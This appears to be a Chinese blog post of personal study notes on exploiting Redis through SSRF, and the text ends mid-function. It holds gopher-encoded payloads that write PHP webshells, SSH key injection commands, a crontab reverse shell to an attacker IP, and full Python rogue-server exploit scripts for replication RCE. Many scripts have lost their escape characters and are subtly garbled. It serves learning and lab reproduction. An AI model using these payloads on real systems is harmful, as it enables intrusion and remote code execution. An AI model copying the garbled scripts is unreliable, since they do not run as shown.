• Redis在SSRF中的应用


    前言

    面试问到了,只知道有哪些,但是没有自己实践过。这里学习记录下。

    前置知识

    SSRF介绍

    SSRF,服务器端请求伪造,服务器请求伪造,是由攻击者构造的漏洞,用于形成服务器发起的请求。通常,SSRF攻击的目标是外部网络无法访问的内部系统

    CONFIG SET

    Redis Config Set 命令可以动态地调整 Redis 服务器的配置(configuration)而无须重启。

    你可以使用它修改配置参数,或者改变 Redis 的持久化(Persistence)方式。

    CONFIG SET dir /VAR/WWW/HTML
    CONFIG SET dbfilename sh.php
    SET PAYLOAD '<?php eval($_GET[0]);?>'
    SAVE

    这是之前redis常用的getshell套路。但是由于权限问题,并不是总能成功写入文件。

    RESP协议

    Redis服务器与客户端通过RESP(REdis Serialization Protocol)协议通信。
    RESP协议是在Redis 1.2中引入的,但它成为了与Redis 2.0中的Redis服务器通信的标准方式。这是您应该在Redis客户端中实现的协议。
    RESP实际上是一个支持以下数据类型的序列化协议:简单字符串,错误,整数,批量字符串和数组。

    RESP在Redis中用作请求 - 响应协议的方式如下:

    1. 客户端将命令作为Bulk Strings的RESP数组发送到Redis服务器。
    2. 服务器根据命令实现回复一种RESP类型。

    在RESP中,某些数据的类型取决于第一个字节:
    对于Simple Strings,回复的第一个字节是+
    对于error,回复的第一个字节是-
    对于Integer,回复的第一个字节是:
    对于Bulk Strings,回复的第一个字节是$
    对于array,回复的第一个字节是*
    此外,RESP能够使用稍后指定的Bulk StringsArray的特殊变体来表示Null值。
    在RESP中,协议的不同部分始终以" "(CRLF)结束。

    这里本地测试下

    tcpdump  port 6379 -w nopass.pcap

    无论用tcpdump还是socat转发都抓不到任何流量,我傻了。用了socat也是一样。发现达不到文章中的效果。崩溃了,搞了好几个小时,根本抓不到本地的。害,只能远程

    可以看到

    中间还有很多乱码

    后面才搞懂。是可以利用socat的,看一篇文章中的解释,没看清,我晕。

    我们这里先开启redis-server /etc/redis.conf

    在执行,意思为将4444端口收到的请求转发给6379端口(我TM就搁着浪费了2个小时,文章中没说清楚socat两个端口,还整一个6378和6379,哎,应该早点去百度下socat的命令的,煞x了)

    socat -v tcp-listen:4444,fork tcp-connect:localhost:6379

    这里用redis-cli连接4444端口,就可以抓到数据了,用tcpdump有乱码

    每行都是 结尾的,但是redis的协议是以CRLF结尾,所以如果这样的数据直接复制粘贴下来去转换的时候,要把 转换为%0d%0a

    客户端向将命令作为Bulk Strings的RESP数组发送到Redis服务器,然后服务器根据命令实现回复给客户端一种RESP类型。
    我们就拿上面的数据包分析,首先是*3,代表数组的长度为3(可以简单理解为用空格为分隔符将命令分割为["set","name","test"]);$3代表字符串的长度,0d0a 表示结束符;+OK表示服务端执行成功后返回的字符串

    Redis配合gopher协议进行SSRF

    Gopher协议

    Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议,不过现在gopher协议用得已经越来越少了
    Gopher 协议可以说是SSRF中的万金油,。利用此协议可以攻击内网的 redis、ftp等等,也可以发送 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。

    当存在ssrf漏洞,并且有回显的时候

    test.php
    <?php
    $ch = curl_init(); // 创建一个新cURL资源
    curl_setopt($ch, CURLOPT_URL, $_GET['url']); // 设置URL和相应的选项
    #curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    #curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
    curl_exec($ch); // 抓取URL并把它传递给浏览器
    curl_close($ch); // 关闭cURL资源,并且释放系统资源
    ?>

     

    redis常见的SSRF攻击方式大概有这几种:

    1. 绝对路径写webshell

    2. 写ssh公钥

    3. 写contrab计划任务反弹shell

    我逐个来尝试复现

    绝对路径写webshell

    利用条件:

    1、目标存在web目录
    2、已知web绝对路径
    3、存在写入权限

    构造如下payload:

    flushall
    set 1 '<?php phpinfo();?>'
    config set dir /var/www/html
    config set dbfilename shell.php
    save

    整理获得如下payload

    *1
    $8
    flushall
    *3
    $3
    set
    $1
    1
    $18
    <?php phpinfo();?>
    *4
    $6
    config
    $3
    set
    $3
    dir
    $13
    /var/www/html
    *4
    $6
    config
    $3
    set
    $10
    dbfilename
    $9
    shell.php
    *1
    $4
    save
    

    这里给出Joychu师傅给出的转换规则

    • 如果第一个字符是>或者那么丢弃该行字符串,表示请求和返回的时间。
    • 如果前3个字符是+OK 那么丢弃该行字符串,表示返回的字符串。
    • 字符串替换成%0d%0a
    • 空白行替换为%0a

    Joychu师傅的转换脚本:

    #coding: utf-8
    #author: JoyChou
    import sys
    
    exp = ''
    
    with open(sys.argv[1]) as f:
        for line in f.readlines():
            if line[0] in '><+':
                continue
            # 判断倒数第2、3字符串是否为
    
            elif line[-3:-1] == r'
    ':
                # 如果该行只有
    ,将
    替换成%0a%0d%0a
                if len(line) == 3:
                    exp = exp + '%0a%0d%0a'
                else:
                    line = line.replace(r'
    ', '%0d%0a')
                    # 去掉最后的换行符
                    line = line.replace('
    ', '')
                    exp = exp + line
            # 判断是否是空行,空行替换为%0a
            elif line == 'x0a':
                exp = exp + '%0a'
            else:
                line = line.replace('
    ', '')
                exp = exp + line
    print exp

    再放一个七友师傅写的脚本:

    import urllib
    protocol="gopher://"
    ip="192.168.163.128"
    port="6379"
    shell="
    
    <?php eval($_GET["cmd"]);?>
    
    "
    filename="shell.php"
    path="/var/www/html"
    passwd=""
    cmd=["flushall",
         "set 1 {}".format(shell.replace(" ","${IFS}")),
         "config set dir {}".format(path),
         "config set dbfilename {}".format(filename),
         "save"
         ]
    if passwd:
        cmd.insert(0,"AUTH {}".format(passwd))
    payload=protocol+ip+":"+port+"/_"
    def redis_format(arr):
        CRLF="
    "
        redis_arr = arr.split(" ")
        cmd=""
        cmd+="*"+str(len(redis_arr))
        for x in redis_arr:
            cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
        cmd+=CRLF
        return cmd
    
    if __name__=="__main__":
        for x in cmd:
            payload += urllib.quote(redis_format(x))
        print payload

    这里我们已经自己手动过滤了一下,用sinensis师傅写的即可

    f = open('payload.txt', 'r')
    s = ''
    for line in f.readlines():
            line = line.replace(r"
    ", "%0d%0a")
            line = line.replace("
    ", '')
            s = s + line
    print s.replace("$", "%24")

    本地curl尝试

    curl -v "gopher://127.0.0.1:6379/_*1%0d%0a%248%0d%0aflushall%0d%0a*3%0d%0a%243%0d%0aset%0d%0a%241%0d%0a1%0d%0a%2418%0d%0a<?php phpinfo();?>%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%243%0d%0adir%0d%0a%2413%0d%0a/var/www/html%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%2410%0d%0adbfilename%0d%0a%249%0d%0ashell.php%0d%0a*1%0d%0a%244%0d%0asave%0d%0a"

    这里也可以用gopherus,直接生成

    curl -v "gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2436%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%27yunying%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A"

    成功

    在ssrf利用的时候将redis命令部分在进行urlencode一次即可(这里我用的是靶机 10003开的是80,10004开的redis的6379)

    http://xx.xx.xx.28:10003/test.php?url=gopher://xx.xx.xx.28:10004/_*1%250d%250a%25248%250d%250aflushall%250d%250a*3%250d%250a%25243%250d%250aset%250d%250a%25241%250d%250a1%250d%250a%252418%250d%250a%3C%3Fphp%20phpinfo()%3B%3F%3E%250d%250a*4%250d%250a%25246%250d%250aconfig%250d%250a%25243%250d%250aset%250d%250a%25243%250d%250adir%250d%250a%252413%250d%250a%2Fvar%2Fwww%2Fhtml%250d%250a*4%250d%250a%25246%250d%250aconfig%250d%250a%25243%250d%250aset%250d%250a%252410%250d%250adbfilename%250d%250a%25249%250d%250ashell.php%250d%250a*1%250d%250a%25244%250d%250asave%250d%250a

    上面是我用自己生成的phpinfo payload打没有打成功。将gopher的payload再次urlencode一次后,发现能打成功。

    http://xx.xxx.xx.xx:10003/test.php?url=gopher://xx.xxx.xxx.xx:10004/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252436%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2527yunying%2527%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

    对比了一下第一次的payload,除了可能内容上我写的是phpinfo,而gopherus写的是shell

    my:
    gopher://127.0.0.1:6379/_*1%0d%0a%248%0d%0aflushall%0d%0a*3%0d%0a%243%0d%0aset%0d%0a%241%0d%0a1%0d%0a%2418%0d%0a<?php phpinfo();?>%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%243%0d%0adir%0d%0a%2413%0d%0a/var/www/html%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%2410%0d%0adbfilename%0d%0a%249%0d%0ashell.php%0d%0a*1%0d%0a%244%0d%0asave%0d%0a
    
    gopherus:
    gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2436%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%27yunying%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

    my:

    gopherus:

     

    my:

    问题应该出在这两个换行,从我自己的可以看到,payload被一些乱码干扰到。所以gopherus这里换行的目的应该是不让乱码字符干扰payload

    像Joychu师傅这里的是58个字符,这里payload前面用三个换行,结束用了四个换行,加上原来的一共61个

    而上面gopherus生成的默认都是前两个后两个换行,可以从redis.py源码也能看到

    这里在记录下 的东西

    Unix系统里,每行结尾只有“<换行>”,即“ ”;Windows系统里面,每行结尾是“<换行><回车>”,即“ ”;Mac系统里,每行结尾是“<回车>”。一个直接后果是,Unix/Mac系统下的文件在Windows里打开的话,所有文字会变成一行;而Windows里的文件在Unix/Mac下打开的话,在每行的结尾可能会多出一个^M符号

    也就是说,再linux中直接用python脚本调用urlencode一次,默认每行结尾都有 即%0a,但是RESP协议规定始终以CRLF结尾,即 结尾,因此都会加一个 ,这样就满足了RESP协议的规定。就先写到这了,明儿继续,1点了睡觉~。

    为了验证一下,手动修改增加两个换行符%0a,并且增加字符数,发现仍然不行。回头一想既然用我自己构造的payload本地gopher直接打redis是可以打出来的,应该是url编码问题。第一次本地打gopher不是在ssrf利用的时候发现就已经整体urlencode了一遍(不知特殊字符),并且将*等都urlencode了。这里我通过python url全编码尝试。意思就是不需要通过sinensis师傅的转换脚本,我们直接将手动滤出的redis命令通过urllib.quote_plus(测试用urllib.quote即可,_plus会将空格转化为+号)

    这里可以发现确实是url编码的问题,再次全编码转后的数据

    第一次:
    %2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2418%0D%0A%3C%3Fphp%20phpinfo%28%29%3B%3F%3E%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
    第二次:
    %252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252418%250D%250A%253C%253Fphp%2520phpinfo%2528%2529%253B%253F%253E%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A

    第二次:

    http://xx.xxx.xxx.xx:10003/test.php?url=gopher://xx.xxx.xxx.xx:10004/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252418%250D%250A%253C%253Fphp%2520phpinfo%2528%2529%253B%253F%253E%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A

    如果这样利用的话,不需要这么麻烦,推荐用gopherus生成的payload再urlencode一次即可,或者用七友师傅的脚本生成的payload再次urlencode一次即可在ssrf漏洞中攻击redis绝对路径写shell

    写ssh公钥

    在以下条件下,可以利用此方法

    Redis服务使用ROOT账号启动

    服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。

    如果.ssh目录存在,则直接写入~/.ssh/authorized_keys
    如果不存在,则可以利用crontab创建该目录

    跟上面的写shell方式类似,我先尝试本地利用再利用ssrf漏洞上打exp

    我们先本地生成一对密钥

    本地的命令如下:

    flushall
    set 1 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCn7E/mc0L/VFSqnq+ha/Hk+qTQm3xcHbgeZEimJ8pYNGLhwi3WL89ce2HSqlYnoA5ugsaghPzvo5Qf3pRPPQ/mN8zHBQsTL8TTAP7ZZBMKDsIi+grHcpDe6BTvIpdDOvSlHQP09XMh6KU4padl4K6lNfZSlUxdLQfDkRAaBw7YmVs2fv1j5CREZOa7ydjZb1j6DleZH5sh9EY2pQy43+GzqJt5b1WsVTYx1ydkmmXufgb6raxTz4TGxYdZzqjEpdPf5joPiTvnftLmDoSz1gH7XExfX5LTtktUIYWMa07xREg50cbPg1WmJRoG9c3c6Vy40OlUXxzNzoqAiiGwSeNWK5YEyDInEDlbmvf7QdCOPWdXyhNmI7zXAaH7zBAU/lKeJuWbbsb9KEezTIDE1KPjJ4jfYcaMhPGWFnAIa6r571aWaZDoHZwMC44kR7mtWWy5FHbEKNIA3sb6xQxRyQ2yW5xEft0LMCPpEJek5/qBcnbqo+kD++jkpjFGM3MbHaU= root@yunying
    '
    config set dir /root/.ssh/
    config set dbfilename authorized_keys
    save

    socat抓一下redis流量直接过滤出来

    *1
    $8
    flushall
    *3
    $3
    set
    $1
    1
    $565
    ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCn7E/mc0L/VFSqnq+ha/Hk+qTQm3xcHbgeZEimJ8pYNGLhwi3WL89ce2HSqlYnoA5ugsaghPzvo5Qf3pRPPQ/mN8zHBQsTL8TTAP7ZZBMKDsIi+grHcpDe6BTvIpdDOvSlHQP09XMh6KU4padl4K6lNfZSlUxdLQfDkRAaBw7YmVs2fv1j5CREZOa7ydjZb1j6DleZH5sh9EY2pQy43+GzqJt5b1WsVTYx1ydkmmXufgb6raxTz4TGxYdZzqjEpdPf5joPiTvnftLmDoSz1gH7XExfX5LTtktUIYWMa07xREg50cbPg1WmJRoG9c3c6Vy40OlUXxzNzoqAiiGwSeNWK5YEyDInEDlbmvf7QdCOPWdXyhNmI7zXAaH7zBAU/lKeJuWbbsb9KEezTIDE1KPjJ4jfYcaMhPGWFnAIa6r571aWaZDoHZwMC44kR7mtWWy5FHbEKNIA3sb6xQxRyQ2yW5xEft0LMCPpEJek5/qBcnbqo+kD++jkpjFGM3MbHaU= root@yunying
    *4
    $6
    config
    $3
    set
    $3
    dir
    $11
    /root/.ssh/
    *4
    $6
    config
    $3
    set
    $10
    dbfilename
    $15
    authorized_keys
    *1
    $4
    save
    

    这里本地可以利用私钥登录尝试,不过这里我没有设置/etc/ssh/sshd_config无口令SSH登陆(即通过客户端公钥认证)

    这里用curl本地打一下

    还是那个问题,最好还是最前面和最后面加两个换行,不要干扰到我们插入的数据

    手动加了两个换行的就是这样的,将数据放在了中间,不要让一些乱码干扰到数据

    这里不用SSRF再打了,url编码搞定,基本再encode一次即可

    计划任务写shell

    利用条件:权限可写计划任务

    这个方法只能Centos上使用,Ubuntu上行不通,原因如下:

    1. 因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件/var/spool/cron/crontabs/<username>权限必须是600也就是-rw-------才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected),而Centos的定时任务文件/var/spool/cron/<username>权限644也能执行

    2. 因为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错

    由于系统的不同,crontrab定时文件位置也会不同
    Centos的定时任务文件在/var/spool/cron/<username>
    Ubuntu定时任务文件在/var/spool/cron/crontabs/<username>
    Centos和Ubuntu均存在的(需要root权限)/etc/crontab PS:高版本的redis默认启动是redis权限,故写这个文件是行不通的

    在redis以root权限运行时可以写crontab来执行命令反弹shell

    这里靶机是ubuntu和kali所以就不实际操作一下了。

    命令如下 :

    flushall
    set 1 '
    
    */1 * * * * bash -i >& /dev/tcp/192.168.163.132/2333 0>&1
    
    '
    config set dir /var/spool/cron/
    config set dbfilename root
    save

    明天学习下主从复制,最近有些心态不好。

    主从复制RCE

    介绍

    redis 4.x/5.x RCE是由LC/BC战队队员Pavel Toporkovzeronights 2018上提出的基于主从复制的redis rce,演讲的PPT地址为:PPT(纯英文)

    攻击场景

    能够访问远程redis的端口(直接访问或者SSRF)

    对redis服务器可以访问到的另一台服务器有控制权

     可影响版本范围redis 4.x-5.0.5

    主从复制

    主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。
    redis的持久化使得机器即使重启数据也不会丢失,因为redis服务器重启后会把硬盘上的文件重新恢复到内存中,但是如果硬盘的数据被删除的话数据就无法恢复了,如果通过主从复制就能解决这个问题,主redis的数据和从redis上的数据保持实时同步,当主redis写入数据是就会通过主从复制复制到其它从redis。

     

     建立主从复制,有3种方式:

    1. 配置文件写入slaveof <master_ip> <master_port>
    2. redis-server启动命令后加入 --slaveof <master_ip> <master_port>
    3. 连接到客户端之后执行:slaveof <master_ip> <master_port>

    PS:建立主从关系只需要在从节点操作就行了,主节点不用任何操作

    执行如下:

    root@kali:/usr/bin# redis-cli -p 6379
    127.0.0.1:6379> SLAVEOF 127.0.0.1 6380    SLAVEOF命令为redis设置主服务器。
    OK
    127.0.0.1:6379> get test
    (nil)
    127.0.0.1:6379> exit
    root@kali:/usr/bin# redis-cli -p 6380
    127.0.0.1:6380> get test
    (nil)
    127.0.0.1:6380> set test "test"
    OK
    127.0.0.1:6380> get test
    "test"
    127.0.0.1:6380> exit
    root@kali:/usr/bin# redis-cli -p 6379
    127.0.0.1:6379> get test
    "test"

    执行一波,我们可以明显看到数据达到了同步的效果.
    如果我们想解除主从关系可以执行SLAVEOF NO ONE

    PPT中的攻击步骤

    SLAVE和MASTER之间的握手机制如下:

    #define REPL_STATE_CONNECTING 2 /* 等待和master连接 */
    /* --- 握手状态开始 --- */
    #define REPL_STATE_RECEIVE_PONG 3 /* 等待PING返回 */
    #define REPL_STATE_SEND_AUTH 4 /* 发送认证消息 */
    #define REPL_STATE_RECEIVE_AUTH 5 /* 等待认证回复 */
    #define REPL_STATE_SEND_PORT 6 /* 发送REPLCONF信息,主要是当前实例监听端口 */
    #define REPL_STATE_RECEIVE_PORT 7 /* 等待REPLCONF返回 */
    #define REPL_STATE_SEND_CAPA 8 /* 发送REPLCONF capa */
    #define REPL_STATE_RECEIVE_CAPA 9 /* 等待REPLCONF返回 */
    #define REPL_STATE_SEND_PSYNC 10 /* 发送PSYNC */
    #define REPL_STATE_RECEIVE_PSYNC 11 /* 等待PSYNC返回 */
    /* --- 握手状态结束 --- */
    #define REPL_STATE_TRANSFER 12 /* 正在从master接收RDB文件 */

    握手后SLAVE将向MASTER发送PSYNC请求同步,一般有三种状态:

    • FULLRESYNC:表示需要全量复制
    • CONTINUE:表示可以进行增量同步
    • ERR:表示主服务器还不支持PSYNC

    全量复制到 过程

    1.slave向master发送PSYNC请求,并携带master的runid和offest,如果是第一次连接的话slave不知道master的runid,所以会返回runid为?,offest为-1

    2.master验证slave发来的runid是否和自身runid一致,如不一致,则进行全量复制,slave并对master发来的runid和offest进行保存

    3.master把自己的runid和offset发给slave

    4.master进行bgsave,生成RDB文件

    5.master将写好的RDB文件传输给slave,并将缓冲区内的数据传输给slave

    6.slave加载RDB文件和缓冲区数据

    并且自从Redis4.x之后redis新增了一个模块功能,Redis模块可以使用外部模块扩展Redis功能,以一定的速度实现新的Redis命令,并具有类似于核心内部可以完成的功能。
    Redis模块是动态库,可以在启动时或使用MODULE LOAD命令加载到Redis中。

    具体攻击流程:

    配置一个我们需要以master身份给slave传输so文件的服务,大致流程如下

    PING 测试连接是否可用
    +PONG 告诉slave连接可用
    REPLCONF 发送REPLCONF信息,主要是当前实例监听端口
    +OK 告诉slave成功接受
    REPLCONF 发送REPLCONF capa
    +OK 告诉slave成功接受
    PSYNC <rundi> <offest> 发送PSYNC

    将要攻击的redis服务器设置成我们的slave

    SLAVEOF ip port

    设置RDB文件
    PS:这里注意以下exp.so是不能包含路径的,如果需要设置成其它目录请用config set dir path

    config set dbfilename exp.so

    告诉slave使用全量复制并从我们配置的Rouge Server接收module

    +FULLRESYNC <runid> <offest>
    $<len(payload)>
    <payload>

    其中<runid>无要求,不过长度一般为40,<offest>一般设置为1

    两个exp链接:

    https://github.com/vulhub/redis-rogue-getshell

    https://github.com/n0b0dyCN/redis-rogue-server

    也可以参考七友师傅写的exp

    import socket
    import time
    
    CRLF="
    "
    payload=open("exp.so","rb").read()
    exp_filename="exp.so"
    
    def redis_format(arr):
        global CRLF
        global payload
        redis_arr=arr.split(" ")
        cmd=""
        cmd+="*"+str(len(redis_arr))
        for x in redis_arr:
            cmd+=CRLF+"$"+str(len(x))+CRLF+x
        cmd+=CRLF
        return cmd
    
    def redis_connect(rhost,rport):
        sock=socket.socket()
        sock.connect((rhost,rport))
        return sock
    
    def send(sock,cmd):
        sock.send(redis_format(cmd))
        print(sock.recv(1024).decode("utf-8"))
    
    def interact_shell(sock):
        flag=True
        try:
            while flag:
                shell=raw_input("33[1;32;40m[*]33[0m ")
                shell=shell.replace(" ","${IFS}")
                if shell=="exit" or shell=="quit":
                    flag=False
                else:
                    send(sock,"system.exec {}".format(shell))
        except KeyboardInterrupt:
            return
    
    
    def RogueServer(lport):
        global CRLF
        global payload
        flag=True
        result=""
        sock=socket.socket()
        sock.bind(("0.0.0.0",lport))
        sock.listen(10)
        clientSock, address = sock.accept()
        while flag:
            data = clientSock.recv(1024)
            if "PING" in data:
                result="+PONG"+CRLF
                clientSock.send(result)
                flag=True
            elif "REPLCONF" in data:
                result="+OK"+CRLF
                clientSock.send(result)
                flag=True
            elif "PSYNC" in data or "SYNC" in data:
                result = "+FULLRESYNC " + "a" * 40 + " 1" + CRLF
                result += "$" + str(len(payload)) + CRLF
                result = result.encode()
                result += payload
                result += CRLF
                clientSock.send(result)
                flag=False
    
    if __name__=="__main__":
        lhost="192.168.163.132"
        lport=6666
        rhost="192.168.163.128"
        rport=6379
        passwd=""
        redis_sock=redis_connect(rhost,rport)
        if passwd:
            send(redis_sock,"AUTH {}".format(passwd))
        send(redis_sock,"SLAVEOF {} {}".format(lhost,lport))
        send(redis_sock,"config set dbfilename {}".format(exp_filename))
        time.sleep(2)
        RogueServer(lport)
        send(redis_sock,"MODULE LOAD ./{}".format(exp_filename))
        interact_shell(redis_sock)

    #修改一下port,host即可,不过是命令执行模式,上面的exp有反弹shell

    上面的一些看完后基本就能理解了,攻击方式就是通过设置恶意的redis服务器,未授权登陆受害redis服务器,将受害redis服务器设置为slave从服务器并且设置RDB文件名,然后恶意redis告诉slave使用全量复并从我们配置的Rouge Server接收module,然后通过发送MODULE MODE命令加载恶意模块

    复现docker:https://github.com/vulhub/vulhub/tree/master/redis/4-unacc

    在中途有报错

    发现是在return msg.decode('gb18030')出现了多字节编码的问题,百度查了下别人修改的脚本,修改后的exp如下:

    #coding:utf-8
    import socket
    import sys
    from time import sleep
    from optparse import OptionParser
    import re
    CLRF = "
    "
    SERVER_EXP_MOD_FILE = "exp.so"
    DELIMITER = b"
    "
    BANNER = """______         _ _      ______                         _____                          
    | ___        | (_)     | ___                        /  ___|                         
    | |_/ /___  __| |_ ___  | |_/ /___   __ _ _   _  ___   `--.  ___ _ ____   _____ _ __ 
    |    // _ / _` | / __| |    // _  / _` | | | |/ _   `--. / _  '__  / / _  '__|
    | |   __/ (_| | \__  | |  (_) | (_| | |_| |  __/ /\__/ /  __/ |    V /  __/ |   
    \_| \_\___|\__,_|_|___/ \_| \_\___/ \__, |\__,_|\___| \____/ \___|_|    \_/ \___|_|   
                                         __/ |                                            
                                        |___/                                             
    @copyright n0b0dy @ r3kapig
    """
    
    def encode_cmd_arr(arr):
        cmd = ""
        cmd += "*" + str(len(arr))
        for arg in arr:
            cmd += CLRF + "$" + str(len(arg))
            cmd += CLRF + arg
        cmd += "
    "
        return cmd
    
    def encode_cmd(raw_cmd):
        return encode_cmd_arr(raw_cmd.split(" "))
    
    def decode_cmd(cmd):
        if cmd.startswith("*"):
            raw_arr = cmd.strip().split("
    ")
            return raw_arr[2::2]
        if cmd.startswith("$"):
            return cmd.split("
    ", 2)[1]
        return cmd.strip().split(" ")
    
    def info(msg):
        print(f"33[1;32;40m[info]33[0m {msg}")
    
    def error(msg):
        print(f"33[1;31;40m[err ]33[0m {msg}")
    
    def decode_command_line(data):
        if not data.startswith(b'$'):
            return data.decode(errors='ignore')
    
        offset = data.find(DELIMITER)
        size = int(data[1:offset])
        offset += len(DELIMITER)
        data = data[offset:offset+size]
        print(data)
        return data.decode(errors='ignore')
    
    def din(sock, cnt=65535):
        global verbose
        msg = sock.recv(cnt)
        if verbose:
            if len(msg) < 1000:
                print(f"33[1;34;40m[->]33[0m {msg}")
            else:
                print(f"33[1;34;40m[->]33[0m {msg[:80]}......{msg[-80:]}")
        if sys.version_info < (3, 0):
            res = re.sub(r'[^x00-x7f]', r'', msg)
        else:
            res = re.sub(b'[^x00-x7f]', b'', msg)
        print(decode_command_line(msg))
        return decode_command_line(msg)
    
    def dout(sock, msg):
        global verbose
        if type(msg) != bytes:
            msg = msg.encode()
        sock.send(msg)
        if verbose:
            if len(msg) < 1000:
                print(f"33[1;33;40m[<-]33[0m {msg}")
            else:
                print(f"33[1;33;40m[<-]33[0m {msg[:80]}......{msg[-80:]}")
    
    def decode_shell_result(s):
        return "
    ".join(s.split("
    ")[1:-1])
    
    class Remote:
        def __init__(self, rhost, rport):
            self._host = rhost
            self._port = rport
            self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            self._sock.connect((self._host, self._port))
    
        def send(self, msg):
            dout(self._sock, msg)
    
        def recv(self, cnt=65535):
            return din(self._sock, cnt)
    
        def do(self, cmd):
            self.send(encode_cmd(cmd))
            buf = self.recv()
            return buf
    
        def shell_cmd(self, cmd):
            self.send(encode_cmd_arr(['system.exec', f"{cmd}"]))
            buf = self.recv()
            return buf
    
    class RogueServer:
        def __init__(self, lhost, lport):
            self._host = lhost
            self._port = lport
            self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            self._sock.bind(('0.0.0.0', self._port))
            self._sock.listen(10)
    
        def close(self):
            self._sock.close()
    
        def handle(self, data):
            cmd_arr = decode_cmd(data)
            resp = ""
            phase = 0
            if cmd_arr[0].startswith("PING"):
                resp = "+PONG" + CLRF
                phase = 1
            elif cmd_arr[0].startswith("REPLCONF"):
                resp = "+OK" + CLRF
                phase = 2
            elif cmd_arr[0].startswith("PSYNC") or cmd_arr[0].startswith("SYNC"):
                resp = "+FULLRESYNC " + "Z"*40 + " 1" + CLRF
                resp += "$" + str(len(payload)) + CLRF
                resp = resp.encode()
                resp += payload + CLRF.encode()
                phase = 3
            return resp, phase
    
        def exp(self):
            cli, addr = self._sock.accept()
            while True:
                data = din(cli, 1024)
                if len(data) == 0:
                    break
                resp, phase = self.handle(data)
                dout(cli, resp)
                if phase == 3:
                    break
    
    def interact(remote):
        info("Interact mode start, enter "exit" to quit.")
        try:
            while True:
